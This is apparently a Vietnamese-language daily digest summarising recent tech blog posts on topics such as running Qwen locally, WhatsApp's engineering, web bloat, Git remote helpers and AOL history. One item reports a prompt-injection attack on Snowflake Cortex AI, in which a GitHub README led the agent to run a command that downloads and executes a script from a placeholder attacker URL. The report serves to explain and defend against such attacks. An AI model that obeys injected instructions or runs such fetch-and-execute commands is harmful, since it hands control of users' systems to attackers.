daily-digest

Simon Willison’s Weblog

Autoresearching Apple’s “LLM in a Flash” to run Qwen 397B locally

Ngày 18 tháng 3 năm 2026, Dan Woods đã chạy phiên bản tùy chỉnh của Qwen3.5-397B-A17B trên MacBook Pro M3 Max với tốc độ 5.5+ tokens/giây mặc dù model này tốn 209GB dung lượng (120GB sau khi quantized) (Dan Woods).
Qwen3.5-397B-A17B là một Mixture-of-Experts (MoE) model, nghĩa là mỗi token chỉ cần hoạt động với một phần nhỏ trọng số của model tổng thể.
Kỹ thuật được sử dụng để lưu trữ thông số model trong flash memory và đưa vào DRAM khi cần thiết (Apple, 2023).
Phương pháp này tối ưu hóa việc giảm lượng dữ liệu chuyển từ flash và đọc dữ liệu theo từng khối lớn hơn và liên tục hơn.
Dan đã chạy 90 thí nghiệm với Claude Code để tạo mã MLX Objective-C và Metal nhằm vận hành model hiệu quả nhất.
Model cuối cùng giữ các chuyên gia ở độ phân giải 2-bit, trong khi các phần không chuyên gia giữ độ chính xác gốc, tổng cộng là 5.5GB trong bộ nhớ khi chạy.
Qwen 3.5 thường chạy 10 chuyên gia mỗi token, nhưng thiết lập này giảm xuống còn 4, với chất lượng giảm ở 3 chuyên gia.
Claude khẳng định rằng “chất lượng đầu ra ở 2-bit không khác biệt so với 4-bit trong các đánh giá”, mặc dù mô tả các đánh giá vẫn còn mỏng.

Snowflake Cortex AI Escapes Sandbox and Executes Malware

Ngày 18 tháng 3 năm 2026, một cuộc tấn công prompt injection xảy ra trên Snowflake Cortex AI, được báo cáo bởi PromptArmor.
Cuộc tấn công bắt đầu khi người dùng yêu cầu Cortex Agent xem một repository trên GitHub có chứa mã độc ở cuối phần README.
Mã độc khiến agent thực thi lệnh cat từ một URL bên ngoài: cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot)).
Cortex không có biện pháp bảo vệ chống lại hình thức thay thế quy trình trong nội dung lệnh mà vẫn cho phép chạy các lệnh cat mà không cần sự xác nhận của con người.
Tác giả không tin tưởng vào các allow-lists chống lại các mẫu lệnh trong các công cụ agent khác nhau.
Tác giả ưa chuộng việc xử lý các lệnh của agent như thể chúng có thể thực hiện bất kỳ điều gì mà quy trình cho phép.

Strategize Your Career

How to design a career that serves your life

Nhiều lập trình viên cho rằng thành công chỉ có thể đạt được bằng cách leo lên bậc thang công ty.
Có nhiều con đường khác nhau để đạt được mục tiêu, không nhất thiết phải leo thang.
Việc làm việc chăm chỉ không phải lúc nào cũng mang lại phần thưởng xứng đáng (ví dụ: một đồng nghiệp được thăng chức nhưng bỏ lỡ cuộc sống gia đình).
Quan trọng là đặt ra mong đợi công việc phù hợp với cuộc sống cá nhân để tìm kiếm hạnh phúc.
Cần có chiến lược rõ ràng về cách sử dụng thời gian nếu muốn thay đổi sang công việc tự do hoặc ưu tiên cho cuộc sống bên ngoài công việc.
Bài viết sẽ đề cập đến một kỹ thuật để làm cho công việc phù hợp với cuộc sống cá nhân.
Sẽ phân tích cách nhận diện các cạm bẫy trong sự phát triển nghề nghiệp tiêu chuẩn.
Sẽ trình bày các cách để viết lại mục tiêu nghề nghiệp.

The Pragmatic Engineer

Building WhatsApp with Jean Lee

WhatsApp phục vụ 450 triệu người dùng với chỉ 30 kỹ sư, không có công cụ AI (Jean Lee).
WhatsApp không có quy trình đánh giá mã sau lần đầu tiên; cofounder Brian Acton chỉ đánh giá pull request đầu tiên của mỗi nhân viên mới.
WhatsApp không sử dụng quy trình chính thức như Scrum hay Agile, đối lập với Skype có 1.000 kỹ sư và đào tạo Scrum bắt buộc.
Văn phòng WhatsApp có hiển thị số ngày kể từ lần gián đoạn dịch vụ cuối cùng, tạo trách nhiệm mà không cần quan liêu.
WhatsApp hoãn tính năng gọi video cho đến khi nó hoàn thiện, test kỹ lưỡng với người nhà trước khi phát hành.
CEO Jan Koum từ chối 99% yêu cầu tính năng, ưu tiên độ tin cậy và sự đơn giản.
Đội ngũ WhatsApp chủ yếu là những kỹ sư lớn tuổi và có kinh nghiệm, với chỉ 4 trong số 30 người dưới 30 tuổi khi Facebook mua lại.
AI sẽ không thay thế yếu tố con người trong quản lý kỹ thuật, nhưng có thể hỗ trợ trong quản lý OKR, tài liệu và dữ liệu hiệu suất.

Daring Fireball

The Talk Show: ‘The Pogue Feature’

David Pogue giới thiệu cuốn sách mới của mình, “Apple: The First 50 Years”.
Cuốn sách mang đến cái nhìn toàn diện về lịch sử 50 năm của Apple.
Sự kiện “Apple at 50” được tổ chức tại Bảo tàng Lịch sử Máy tính, do David Pogue dẫn dắt.
Có nhiều lựa chọn để mua sách: hardcover và e-book trên các nền tảng như Amazon và Apple Books.
Có một cuộc phỏng vấn nổi bật với các giám đốc điều hành của Apple trong quá khứ (hình ảnh từ năm 1993).
Biên tập viên tập này là Caleb Sexton.

★ ‘Your Frustration Is the Product’

Shubham Bose chỉ ra rằng trang web New York Times có 422 yêu cầu mạng và 49MB dữ liệu, mất hai phút để tải xong.
Nhiều trang web của các nhà xuất bản như The Guardian chỉ để lại 11% màn hình cho nội dung bài viết trên thiết bị di động (Bose).
Các quyết định UX đối kháng xuất phát từ việc tối ưu hóa thời gian trên trang, khiến người đọc cảm thấy bị giam giữ (Bose).
Người đọc không được tôn trọng; các nhà xuất bản phụ thuộc vào hệ thống đấu giá khuyến khích các mẫu thiết kế khó chịu.
Quảng cáo lặp lại nhiều lần trong cùng một bài viết gây phiền toái cho người đọc.
Các trang web liên tục chèn quảng cáo và video tự động không liên quan, gây rối loạn trải nghiệm đọc.
Trải nghiệm trên web ngày càng tệ hơn làm cho người dùng dành ít thời gian hơn để duyệt internet.

How to Identify Your Apple Keyboard Layout by Country or Region

Một số bố trí bàn phím chỉ có sẵn ở một số quốc gia hoặc khu vực.
Liên hệ với Apple hoặc nhà cung cấp dịch vụ nếu cần thay thế hoặc sửa chữa bàn phím.
Tìm phím có từ “return” hoặc biểu tượng return-left in trên đó để xác định loại bàn phím.
Nếu phím Return của bạn giống như hình ảnh dưới đây, bạn có bàn phím ANSI.
Nếu phím Return của bạn giống như hình ảnh khác, bạn có bàn phím ISO.
Nếu phím Return của bạn giống như hình dưới đây, bạn có bàn phím Nhật Bản.
Tìm phím Tab hoặc phím có biểu tượng tab để nhận diện bố trí bàn phím tiếp theo.

Jony Ive on Redesigning the Christie’s Rostrum
Meta Is Dropping VR Support From Horizon Worlds

Meta Horizon Worlds sẽ ngừng hỗ trợ VR vào tháng 6, chỉ còn có thể truy cập dưới dạng màn hình phẳng trên web và ứng dụng di động.
Tính đến ngày 31 tháng 3, ứng dụng Horizon Worlds sẽ bị xóa khỏi cửa hàng Quest, các thế giới như Horizon Central và Events Arena sẽ không còn khả dụng trên VR.
Từ ngày 15 tháng 6, ứng dụng Horizon Worlds sẽ bị gỡ bỏ khỏi headset Quest và tất cả các thế giới sẽ không còn truy cập qua VR.
Horizon Worlds sẽ tiếp tục phát triển dưới dạng trải nghiệm màn hình phẳng trên web và ứng dụng di động của Meta.
Việc ngừng hỗ trợ VR có nghĩa là người dùng không thể mời bạn bè tham gia các quét Horizon Hyperscape với Meta Avatars qua Horizon Worlds.
Horizon Worlds được giới thiệu vào năm 2020 như một nền tảng tương tác xã hội VR, nhưng đã trải qua nhiều khó khăn về hình ảnh và người dùng.
Meta đã bắt đầu cung cấp phần mềm tạo thế giới trên PC vào năm 2023, nhưng có thể đã quá muộn để cải thiện danh tiếng của Horizon Worlds.
CTO của Meta, Andrew Bosworth, cho biết công ty thấy sự phát triển tích cực trên di động và sẽ tập trung vào việc phát triển cho nền tảng này.
Quyết định tách biệt Horizon Worlds khỏi Quest diễn ra vào tháng 2 cho thấy sự chuyển hướng rõ rệt trong chiến lược của công ty.

David Zaslav Set to Receive Up to $887 Million if Paramount Acquisition of Warner Bros Closes

iDiallo.com

Communication Is Surveillance by Design

Jason Bourne gọi cho CIA từ một điện thoại công cộng, gây tiếng động trong đội của Landy khi cố gắng xác định vị trí của anh.
Anh thông báo rằng người mà anh muốn gặp ở ngay bên cạnh Landy, rồi treo máy trước khi bị định vị.
Phần mềm “triangulate” thường được miêu tả trong phim không chính xác; thực tế, CDR được tạo ra ngay khi cuộc gọi được kết nối.
CDR ghi lại thông tin cuộc gọi như số điện thoại gọi, thời gian và tháp di động cụ thể xử lý cuộc gọi.
Khi kết nối với tháp di động, độ chính xác vị trí có thể trong phạm vi vài trăm mét và với nhiều tháp cùng lúc, độ chính xác giảm xuống còn vài chục mét.
Đối với điện thoại công cộng, không cần triangulation vì địa chỉ đã được ghi âm sẵn.
CDR không thường có sẵn ngay lập tức cho lực lượng thực thi pháp luật; cần có lệnh tòa và thời gian để thu thập dữ liệu.
Dữ liệu trực tuyến của bạn cũng ghi lại thông qua ISP mỗi khi bạn truy cập trang web.
HTTPS mã hóa nội dung giao tiếp nhưng vẫn cho phép ISP thấy tên miền, timestamp và địa chỉ IP.
Việc sử dụng VPN giúp giấu thông tin nhưng ISP vẫn có thể thấy bạn kết nối với VPN.
Mọi hình thức giao tiếp điện tử đều để lại dấu vết, và việc bảo mật cuối cùng phải có end-to-end encryption (E2EE).

Terence Eden’s Blog

Finding the right Bottom Hole paper

Ngày 6 tháng 1 năm 1995, BBC Two phát sóng tập mới của Waiting for Godot Bottom với tựa đề “Hole”.
Nhân vật Captain Edrison Peavey Edward Elizabeth Hitler đọc báo “Hammersmith Bugle” không có thật, với tiêu đề “No News Shocker”.
Tiêu đề “Cup Tie Chaos” trong báo không đặc sắc và hình ảnh trong đó giống một cảnh nổi tiếng từ Pulp Fiction ra mắt tại Vương quốc Anh tháng 10 năm 1994.
Tiêu đề “Seesaw Swans hit back” được tìm thấy trong Surrey Herald, xuất bản ngày 3 tháng 11 năm 1994, cách ngày phát sóng 9 tuần.
Một tiêu đề khác về “Wartime tales inspired poet” cũng khớp với trang 8 của Surrey Herald.
So sánh giữa trang đầu của Hammersmith Bugle và Surrey Herald cho thấy hình ảnh và tiêu đề khác nhau.
Logo Stork Margarine xuất hiện trên trang đầu báo giả mạo; có khả năng được tạo riêng cho show.
Hình ảnh từ Hammersmith Bugle có tiêu đề “Elsie is 100 years young” và “FA Cup tie”.
Một số trang khác trong các báo có sự tương đồng nhưng bố cục khác nhau.
BBC chưa thực hiện remaster 4K cho Bottom, nhưng có phiên bản 1080p trên YouTube.

DYNOMIGHT

LLMs predict my coffee

Mẫu thí nghiệm bao gồm 8 oz nước sôi (226,8 g) đổ vào một cốc sứ nặng 1,25 lb (0,57 kg) trong không khí 20 độ Celsius.
Cung cấp một phương trình cho nhiệt độ của nước theo thời gian (t) trong 5 phút đầu.
Các yếu tố ảnh hưởng bao gồm: dẫn nhiệt, đối lưu, bay hơi, bức xạ, và sự chuyển động của hơi nước.
Các mô hình LLM dự đoán nhiệt độ giảm nhanh trong vài phút đầu, nhưng chậm lại sau đó.
Thí nghiệm thực hiện đo nhiệt độ từng 5 giây, sau đó tăng lên 15 giây, 30 giây, 1 phút, và 5 phút.
Không có dự đoán nào hoàn toàn chính xác, nhưng Claude 4.6 Opus là tốt nhất (tiêu tốn $0.61).
Dự đoán thực tế cho thấy nhiệt độ giảm nhanh hơn trong vài phút đầu và chậm hơn ở giai đoạn sau.
Các mô hình sử dụng các hàm mũ giảm dần để phản ánh tốc độ truyền nhiệt giữa nước, cốc và không khí.

Xe Iaso’s blog

Homelab downtime update: The fight for DNS supremacy

Homelab không hoàn toàn tắt, hai Kubernetes controlplane nodes vẫn hoạt động sau sự cố mất điện.
Sử dụng Mac mini để truy cập, đã tự động khởi động lại sau khi lưới điện phục hồi.
Thực hiện nmap trên toàn bộ subnet nhà, chỉ phát hiện hai máy: kos-mos và ontos, đều là controlplane nodes của Kubernetes.
Không thể SSH vào các nodes này vì chúng chạy Talos Linux, nhưng có thể sử dụng talosctl để tắt chúng.
Sự cố này làm cho sponsor panel không hoạt động do pod external-dns trong homelab đang cạnh tranh với triển khai đám mây mới.
Sponsor panel đã trở lại hoạt động sau khi tắt các nodes Kubernetes.
Cần xác định lý do tại sao ontos và kos-mos lại hoạt động trở lại và kiểm tra thiệt hại PSU.

The Old New Thing

Windows stack limit checking retrospective: Alpha AXP

Hàm _chkstk trên Alpha AXP kiểm tra và xác thực stack mà không điều chỉnh nó.
Tại đầu vào, t12 là số byte cần cấp phát và hàm sử dụng các thanh ghi t8, t9, t10.
Hàm sử dụng các cuộc gọi PAL để lấy thông tin về kernel stack và TEB (Thread Environment Block) tùy thuộc vào chế độ (user mode hay kernel mode).
Nếu không cần mở rộng stack, hàm sẽ quay lại ngay mà không làm gì thêm.
Chiến thuật dùng vòng lặp “probe” để ghi vào bộ nhớ và kích hoạt các trang bộ nhớ nếu cần thiết.
Alpha AXP là bộ xử lý 64-bit, nhưng có thể hoạt động như 32-bit bằng cách không sử dụng các tính năng 64-bit.
Mã này có thể đã được viết từ giai đoạn đầu của dự án Alpha AXP, với một số bảo tồn thanh ghi không cần thiết.
Hàm _chkstk giúp duy trì tương thích với các compiler không phải của Microsoft trong quá trình chuyển đổi Windows NT lên nền tảng mới.
Cách sử dụng điển hình của hàm này trong hàm prologue là để xây dựng frame stack lớn.
Tác giả đề xuất rằng việc ghi vào bộ nhớ trong khi mở rộng stack có thể tránh được lỗi trang mềm (soft page fault).

John D. Cook

Tighter bounds on alternating series remainder

Kiểm tra chuỗi thay đổi là phần của chương trình tính toán chuẩn.
Nếu cắt bớt một chuỗi thay đổi, phần còn lại bị giới hạn bởi phần tử đầu tiên bị bỏ qua.
Xét một chuỗi dạng ai dương và hội tụ đơn điệu về không.
Phần đuôi của chuỗi bị giới hạn bởi phần tử đầu tiên: R ≤ a_n .
Nếu sự khác biệt giữa các ai cũng hội tụ đơn điệu về không, ta có giới hạn trên và dưới cho lỗi cắt bớt.
Nếu sự khác biệt của các khác biệt cũng hội tụ đơn điệu về không, ta có giới hạn chặt hơn cho phần còn lại.
Nói chung, nếu sự khác biệt đến bậc k của ai hội tụ về không đơn điệu, phần còn lại có thể được giới hạn bằng công thức cụ thể. (Nguồn: Mark B. Villarino)

Westenberg.

Marc Andreessen is wrong about introspection

Marc Andreessen cho rằng việc “suy ngẫm” là phát minh của thế kỷ 20, đặc biệt do Freud và Vienna Circle.
Ông nhấn mạnh một cách sống không suy ngẫm: “Tiến về phía trước. Đi thôi.”
Tác giả bác bỏ quan điểm của Andreessen, lập luận rằng suy ngẫm đã xuất hiện từ xa xưa, như trong triết lý của Socrates và Stoics.
Marcus Aurelius viết “Meditations” như một phương pháp tự kiểm tra trong khi điều hành Đế chế La Mã.
Augustine’s “Confessions” chứa đựng những suy ngẫm sâu sắc về cuộc sống nội tâm từ khoảng thế kỷ 4.
Triết gia Trung Quốc, Mencius, mô tả suy ngẫm như “tìm lại trái tim đã mất.”
Shakespeare’s “Hamlet” thể hiện vấn đề của những người không thể ngừng suy ngẫm để hành động.
Freud không sáng tạo ra suy ngẫm mà hệ thống hóa những ý tưởng về tâm thức đang lưu hành.
Andreessen có chiến lược hạ thấp tầm quan trọng của nội tâm trong trải nghiệm con người.
Các chỉ số như GDP hay tuổi thọ không phản ánh cảm giác sống có ý nghĩa của con người.
Truy cập vào cuộc sống nội tâm xảy ra thông qua suy ngẫm hoặc qua kinh nghiệm của người khác.
Thiếu suy ngẫm, lý thuyết về sự thỏa mãn cuộc sống trở nên mỏng manh, chỉ còn duy trì quan điểm “nhiều hơn” và “nhanh hơn.”

Andrew Nesbitt

Git Remote Helpers

Bastien Guerry từ Software Heritage đề xuất ý tưởng git-remote-swh cho phép git clone từ SWHID thông qua một mã băm nội dung.
Git-remote-swh là một executable cần nằm trên $PATH để git có thể khởi động khi thấy URL dạng swh://.
SWHID nhận diện một phiên bản cụ thể bởi mã băm nội dung, và origin qualifier cho biết nơi fallback nếu phiên bản đó chưa có trong lưu trữ.
Git sử dụng giao thức văn bản qua stdin/stdout để giao tiếp với git remote helper.
Giao thức giúp pull snapshots, revisions, trees, và blobs thông qua REST API và định dạng git fast-import.
Git gửi khả năng và helper phản hồi khả năng của nó: fetch, push, import, export, connect.
Các helper phổ biến bao gồm git-remote-http, git-remote-ftp, git-remote-dropbox, git-remote-s3 và git-remote-gcrypt.
Viết remote helper mất nhiều công sức hơn so với một git subcommand nhưng ít hơn so với xây dựng một git server hoàn chỉnh.
SWHID helper có thể dễ xây dựng vì Software Heritage đã lưu trữ git objects một cách tự nhiên.
Git-remote-s3 sử dụng S3 làm máy chủ git serverless với hỗ trợ LFS và được viết bằng Rust.
Git-remote-gcrypt mã hóa toàn bộ kho git bằng GPG trước khi đẩy lên remote.
Một SWHID helper chỉ cần import và list vì Software Heritage là một archive chỉ đọc.

Susam Pal

Wander the Small Web

Wander console cho phép người dùng duyệt các trang web ngẫu nhiên và được duy trì bởi cộng đồng Wander.
Để thiết lập Wander console, tải xuống file ZIP, giải nén index.html và wander.js, và đặt chúng vào thư mục /wander/ trên máy chủ web của bạn.
Chỉnh sửa wander.js theo hướng dẫn tại codeberg.org/susam/wander.
Sau khi thư mục /wander/ đã sẵn sàng, bạn có thể chia sẻ liên kết tới Wander console của mình trong diễn đàn cộng đồng.
Cộng đồng Wander sẽ giúp bạn kết nối và mở rộng mạng lưới cá nhân của mình.

Wander 0.1.0

Wander 0.1.0 là phiên bản đầu tiên của Wander, một web console phi tập trung và tự lưu trữ.
Wander cho phép người dùng khám phá các trang web ngẫu nhiên từ cộng đồng các trang web cá nhân.
Bất kỳ ai có trang web cá nhân đều có thể thiết lập một instance của Wander console.
Wander console tạo ra một mạng lưới phi tập trung nhẹ để duyệt web cá nhân.
Thiết lập Wander console chỉ cần sao chép hai tệp tĩnh từ dự án tại codeberg.org/susam/wander.
Quá trình khám phá các liên kết mới diễn ra trên phía client, trong trình duyệt của người dùng.
Người sở hữu trang web không cần cài đặt các thành phần server-side phức tạp, chỉ cần một máy chủ web cơ bản.
Wander console có thể được lưu trữ trên GitHub Pages hoặc Codeberg Pages.
Thông tin chi tiết về Wander và hướng dẫn thiết lập có tại README dự án tại codeberg.org/susam/wander.

The Silicon Underground

AOL history

AOL, hay America Online, là dịch vụ trực tuyến lớn nhất và phổ biến nhất, bắt đầu từ năm 1983.
Công ty ban đầu được gọi là Control Video Corporation, phát triển dịch vụ Gameline cho Atari 2600, nhưng thất bại vào năm 1984.
Control Video chuyển mình thành Quantum Link vào năm 1985, nhắm đến máy tính gia đình Commodore 64.
Quantum Link cung cấp tải tệp, diễn đàn, email và trò chơi trực tuyến với giao diện người dùng đơn giản.
Dịch vụ Q-Link tồn tại cho đến năm 1995, mặc dù số lượng máy tính Commodore 64 giảm dần.
Quantum đã phát triển Apple Link cho Apple IIgs và Macintosh vào năm 1986 và PC Link cho máy tính IBM vào năm 1988.
Hợp tác với Tandy, công ty mẹ của Radio Shack, rất quan trọng cho sự phát triển của AOL trong những năm cuối 1980.
Hệ thống hoạt động của dịch vụ trực tuyến này không có Internet công cộng, dựa vào modem và đường dây điện thoại để kết nối với máy chủ của AOL.

daily-digest

Simon Willison’s Weblog

Strategize Your Career

The Pragmatic Engineer

Daring Fireball

iDiallo.com

Terence Eden’s Blog

DYNOMIGHT

Xe Iaso’s blog

The Old New Thing

John D. Cook

Westenberg.

Andrew Nesbitt

Susam Pal

The Silicon Underground

Open Source Projects - Latest Discoveries

DEV Community

Hacker News: Best